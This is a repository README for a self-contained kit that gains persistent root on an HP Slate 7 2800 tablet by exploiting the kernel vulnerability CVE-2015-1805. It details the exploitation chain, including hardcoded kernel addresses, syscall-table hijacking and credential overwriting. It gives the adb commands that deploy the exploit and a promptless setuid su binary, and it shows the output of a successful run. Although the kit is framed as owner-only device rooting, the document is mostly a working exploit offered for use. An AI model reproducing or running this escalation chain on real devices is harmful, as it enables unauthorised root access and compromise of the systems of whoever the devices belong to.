hp-slate7-root-kit/README.md

Root for the HP Slate 7 2800 on Android 4.1.1

English | Русский

This repository contains a complete, self-contained kit for obtaining persistent root access on the HP Slate 7 2800 running firmware 1.05.18 and kernel Linux 3.0.8+ by exploiting the local vulnerability CVE-2015-1805. The kit was run on the actual tablet, and the result was verified from a fresh ADB session and after a normal reboot.

This is not a universal Android rooting tool. The exploit is specific to this HP kernel configuration. Do not run it on a different model, firmware, or kernel version.

Verified configuration

Parameter	Verified value
Manufacturer and model	HP Slate 7 2800
Android	4.1.1, API 16, build JRO03H
Product / device	t7h / pine
Processor	Rockchip RK3066, ARMv7
Build fingerprint	hp/t7h/pine:4.1.1/JRO03H/v1.05.18_user:user/release-keys
Kernel	3.0.8+ #13 SMP PREEMPT Tue Jul 28 15:24:30 CST 2015
ABI	32-bit ARM EABI5
SELinux	not present in the kernel configuration (CONFIG_SECURITY is disabled)
/system partition	ext4, mounted read-only by default

You can inspect the device without making any changes:

adb devices -l
adb shell getprop ro.product.model
adb shell getprop ro.build.fingerprint
adb shell getprop ro.build.version.sdk
adb shell cat /proc/version

Alternatively, use the script below. It will refuse to proceed if either the fingerprint or kernel version does not match:

./scripts/check-target.sh
./scripts/check-target.sh ADB_SERIAL

Repository contents

.
├── bin/
│   ├── hp-slate7-cve-2015-1805-root  # verified exploit
│   ├── hp-slate7-install-root        # installs su into /system
│   └── hp-slate7-su                  # minimal setuid-root wrapper
├── src/
│   ├── exploit/                      # CVE source and device-specific changes
│   ├── installer/install-root.c      # installer source
│   └── su/rootsh.S                   # minimal su source
├── scripts/
│   ├── build.sh                      # rebuilds all three ELF files
│   ├── check-target.sh               # safe compatibility check
│   └── root-device.sh                # verifies, uploads, and runs the kit
├── SHA256SUMS                        # hashes of the verified bin/* files
├── NOTICE                            # attribution for the original PoC
└── LICENSE                           # GPL-3.0

File formats and purposes

File	Format	Size	Purpose
bin/hp-slate7-cve-2015-1805-root	ELF 32-bit ARM EABI5, static, unstripped	2,722,320 bytes	Exploits the CVE, obtains uid 0, and launches the installer
bin/hp-slate7-install-root	ELF 32-bit ARM EABI5, static, stripped	22,596 bytes	Temporarily remounts /system rw, installs su, and restores ro
bin/hp-slate7-su	ELF 32-bit ARM EABI5, static, stripped	656 bytes	Calls setresgid(0,0,0) and setresuid(0,0,0), then launches /system/bin/sh

SHA-256 checksums of the verified binaries:

6bf8ea09efb9f409dfc7aa5efbc3108e5c1a19fc5b07ae913328ef4639a7644f  bin/hp-slate7-cve-2015-1805-root
4857c71efc846636afc5b50d7f3c971c6eb68d3760f652086f2a38c5dc50bc4a  bin/hp-slate7-install-root
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e  bin/hp-slate7-su

Verification on macOS:

shasum -a 256 -c SHA256SUMS

Verification on Linux:

sha256sum -c SHA256SUMS

Use the files from bin/ on the tablet: these are the exact bytes that were verified on the device. The build/ directory is intended for local rebuilds and is not tracked by Git.

Vulnerability used

CVE-2015-1805 is a flaw in the pipe_read() and pipe_write() implementations of older Linux kernels. When an atomic copy fails, the code incorrectly continues traversing the iovec array, potentially moving a pointer beyond its bounds. As a result, a local unprivileged process can corrupt memory, crash the kernel, or escalate its privileges. A detailed explanation of the mechanism was published on oss-security. The fixes can be found, among other places, in the upstream Linux commits 637b58c and f0d1bec.

The tablet's 3.0.8+ kernel proved vulnerable. Before modifying kernel memory, the same race was tested separately with a harmless probe whose two write targets were both located in the test process's ordinary memory. It reported CVE-2015-1805: VULNERABLE, and the tablet remained accessible over ADB.

Privilege-escalation chain

1. The exploit creates a race between readv(), memory mapping changes, and processing a large iovec array in the kernel's vulnerable pipe code.
2. The resulting write primitive temporarily replaces the unused entry 222 in sys_call_table with the address of a small ARM trampoline in the exploit process.
3. The table address is calculated through the high vector at 0xffff0008. On the verified device, the instruction is 0xe59ff410, and its literal points to vector_swi = 0xc04d0d40.
4. vector_swi and sys_call_table were independently assembled from the official HP Open Source 1.05.10 kernel archive (archive SHA-256: dd69f0468973714fd9ba22cdfea7e96f39f651ee51b9cb537728d9dcadbafda2) with the rk30_t7h_dvt_defconfig defconfig. Their offset is 0xc4. The installed firmware has neither OABI nor seccomp, so the table's final runtime address is 0xc04d0e04.
5. The trampoline consists of exactly six ARM instructions. It obtains the current sp, aligns it to the 8,192-byte kernel stack size, and writes -1 only to thread_info.addr_limit at offset 8. It contains no external calls, prologue, or compiler runtime code.
6. Immediately after the temporary syscall returns, entry 222 is restored from entry 223. Both entries are sys_ni_syscall in the HP source; the pointer restored on the verified kernel is 0xc051900c.
7. Once addr_limit has been widened, pipe copying reads the current task_struct, locates cred, and validates the structure using the current uid/gid values, alignment, reference count, and the real_cred == cred condition. Only after these checks are the uid/gid values zeroed and the capability masks filled with ones.
8. The process obtains uid=0 and launches /data/local/tmp/install-root. The installer remounts /system rw, copies the payload to /system/xbin/su, assigns root:root ownership and mode 06755, calls sync(), and remounts /system read-only.

The original current_thread_info() function from the old kernel headers was incompatible with modern Clang at -O0: an early prototype read an uninitialized word instead of the sp register and could crash the kernel. In this repository, it has been replaced with a verified naked ARM trampoline. The early binary is not included in the repository.

Required software

To use the ready-made files from bin/

• a computer running macOS or Linux; Windows is also possible with a suitable ADB USB driver, but this procedure was verified on macOS;
• adb from Android SDK Platform Tools;
• a working USB data cable;
• USB debugging enabled and the computer's RSA key accepted on the tablet.

You do not need the Android NDK, Java, Python, fastboot, an unlocked bootloader, a custom recovery, a rooting APK, or network access. The exploit and payload are statically linked.

To rebuild from source

• Zig 0.15.2; unpacking the portable archive is sufficient, with no system-wide package installation required;
• Bash;
• shasum or sha256sum to verify the result.

The Android NDK is still not required: Zig provides an ARM musl cross-toolchain.

Preparing the tablet

1. Charge the tablet to at least 50%. It was at approximately 80% during the verified run.
2. Boot Android normally and unlock the screen.
3. Enable Developer options -> USB debugging.
4. Connect the cable and accept the USB debugging RSA prompt if Android shows it.
5. Do not run Towelroot, KingRoot, or other rooting applications concurrently.
6. Close unnecessary applications. The exploit creates many threads and comes close to the limits of this old device.

Check the connection:

adb devices -l

The status must be device, not offline or unauthorized.

Obtaining root: manual procedure

Change to the repository root and first verify that the device matches exactly:

./scripts/check-target.sh

If multiple devices are connected, pass the serial number to every command using adb -s SERIAL, or set the ANDROID_SERIAL environment variable.

Upload the three files using the names they expect for one another:

adb push bin/hp-slate7-cve-2015-1805-root /data/local/tmp/cve-2015-1805-root
adb push bin/hp-slate7-install-root /data/local/tmp/install-root
adb push bin/hp-slate7-su /data/local/tmp/rootsh-armv7

Set the permissions and flush the staged files to storage:

adb shell 'chmod 755 /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync'

Run the exploit once:

adb shell '/data/local/tmp/cve-2015-1805-root; rc=$?; echo DEVICE_RC=$rc; exit $rc'

Verified successful output:

offset:c4
addr:c04d0d40
    [+] Done
restored syscall 222 to 0xc051900c
exploit rc=0 uid=0 gid=0
installer uid=0 gid=0
install-su ok
DEVICE_RC=0

If the device disappears from ADB for a few seconds, do not run the exploit again. Wait for it to return:

adb wait-for-device

Automated procedure

The script verifies the fingerprint and kernel, checks the SHA-256 hashes, uploads the files, asks you to enter ROOT, runs the exploit, and verifies uid=0:

./scripts/root-device.sh

For multiple devices:

./scripts/root-device.sh --serial ADB_SERIAL

The --yes option disables the interactive confirmation and is intended only for deliberate automated use:

./scripts/root-device.sh --serial ADB_SERIAL --yes

Verifying the result

Verify root from a fresh ADB shell, not from the exploit process's uid:

adb shell 'id; /system/xbin/su -c id; echo SU_RC=$?'
adb shell 'ls -l /system/xbin/su'
adb shell 'cat /proc/mounts' | grep ' /system '

Expected output:

uid=2000(shell) ...
uid=0(root) gid=0(root) ...
SU_RC=0
-rwsr-sr-x root root ... su
... /system ext4 ro,...

Next, remove only the temporary staging files. The installed /system/xbin/su is not removed:

adb shell '/system/xbin/su -c "rm -f /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync"'

The kit does not create /data/local.prop or modify user data.

Perform a normal reboot and then verify persistent root:

adb reboot
adb wait-for-device
adb shell getprop sys.boot_completed
adb shell '/system/xbin/su -c id'

The verified tablet produced the following result after reboot:

uid=0(root) gid=0(root) ...

The installed file was pulled back from the tablet and matched bin/hp-slate7-su byte for byte:

40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e

Using root

To run a single command:

adb shell '/system/xbin/su -c id'
adb shell '/system/xbin/su -c "ls -la /data"'

hp-slate7-su is an intentionally minimal wrapper with no Android app, confirmation prompts, daemon, or permission log. Any local process capable of executing /system/xbin/su can potentially obtain root. Do not use this obsolete tablet for sensitive data after rooting it, and do not install untrusted APKs.

Rebuilding from source

Specify the path to portable Zig 0.15.2, or add zig to PATH:

ZIG_BIN=/absolute/path/to/zig ./scripts/build.sh

The output will be written to build/:

build/hp-slate7-cve-2015-1805-root
build/hp-slate7-install-root
build/hp-slate7-su

Check the file formats:

file build/hp-slate7-*

All three files must be 32-bit ARM EABI5 ELF files. With the verified Zig 0.15.2 version, the installer and su rebuild byte-for-byte identically to the files in bin/. The exploit hash may differ because of absolute paths in DWARF and linker metadata; its critical six-instruction trampoline was byte-for-byte identical in the verification build. A rebuild does not replace the checksums of the files in bin/ that were actually run on the tablet.

Troubleshooting

unauthorized

Unlock the screen and accept the USB debugging RSA key. If the prompt does not appear, reconnect the cable and run adb devices -l again.

offline or the device disappears

Wait a few seconds and run adb wait-for-device. If the tablet has powered off, turn it on normally with the Power button. Do not run a second instance of the exploit concurrently.

The exploit did not print [+] Done

The CVE is exploited through a race and may theoretically fail. Reboot the tablet before making a single retry. Do not run the binary in a loop: a failed race can crash the kernel.

su exists, but the command exits with code 127

Verify the file's SHA-256 hash. An early research wrapper handled argv incorrectly on ARM and exited with code 127. This repository contains the corrected 656-byte version with SHA-256 40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e.

The HP logo remains on screen, but ADB is already available

Check Android's actual state:

adb shell getprop sys.boot_completed
adb shell dumpsys window windows

sys.boot_completed=1 means that Android has booted even if the physical display is still showing an old frame.

What was tested and what was not used

Other well-known approaches were safely ruled out or found unsuitable on this device: CVE-2013-6282, CVE-2013-2094, CVE-2012-0056, CVE-2013-4787, Dirty COW, and PingPongRoot. Towelroot/CVE-2014-3153 crashed this kernel and must not be used. CVE-2014-7951 made it possible to write a file through ADB restore path traversal, but the HP firmware did not load /data/local.prop, so this method did not provide root.

The bootloader uses an old Rockchip loader and did not appear as a standard fastboot device. Flashing a recovery or unlocking the bootloader was not required for this result.

Provenance and license

The exploit code is based on mobilelinux/iovy_root_research, commit f945796, which in turn references dosomder/iovyroot. Device-specific changes include reducing the thread count, fixing the timeout, using a naked ARM trampoline, restoring the syscall table early, validating cred, and disabling the inapplicable SELinux branch.

The original notices have been preserved. The repository is distributed under GPL-3.0; see LICENSE and NOTICE.

Disclaimer

Exploiting kernel memory always carries a risk of rebooting the device, corrupting the system, or losing data. This kit is intended only for an HP Slate 7 2800 that you own and whose firmware matches exactly. Back up any important data, and do not use it on devices belonging to other people.

---

Security research and documentation were completed with assistance from OpenAI Codex, powered by GPT-5.6 Sol with Daybreak Blue cybersecurity access.

---

Repository locations: canonical source · github · read-only mirror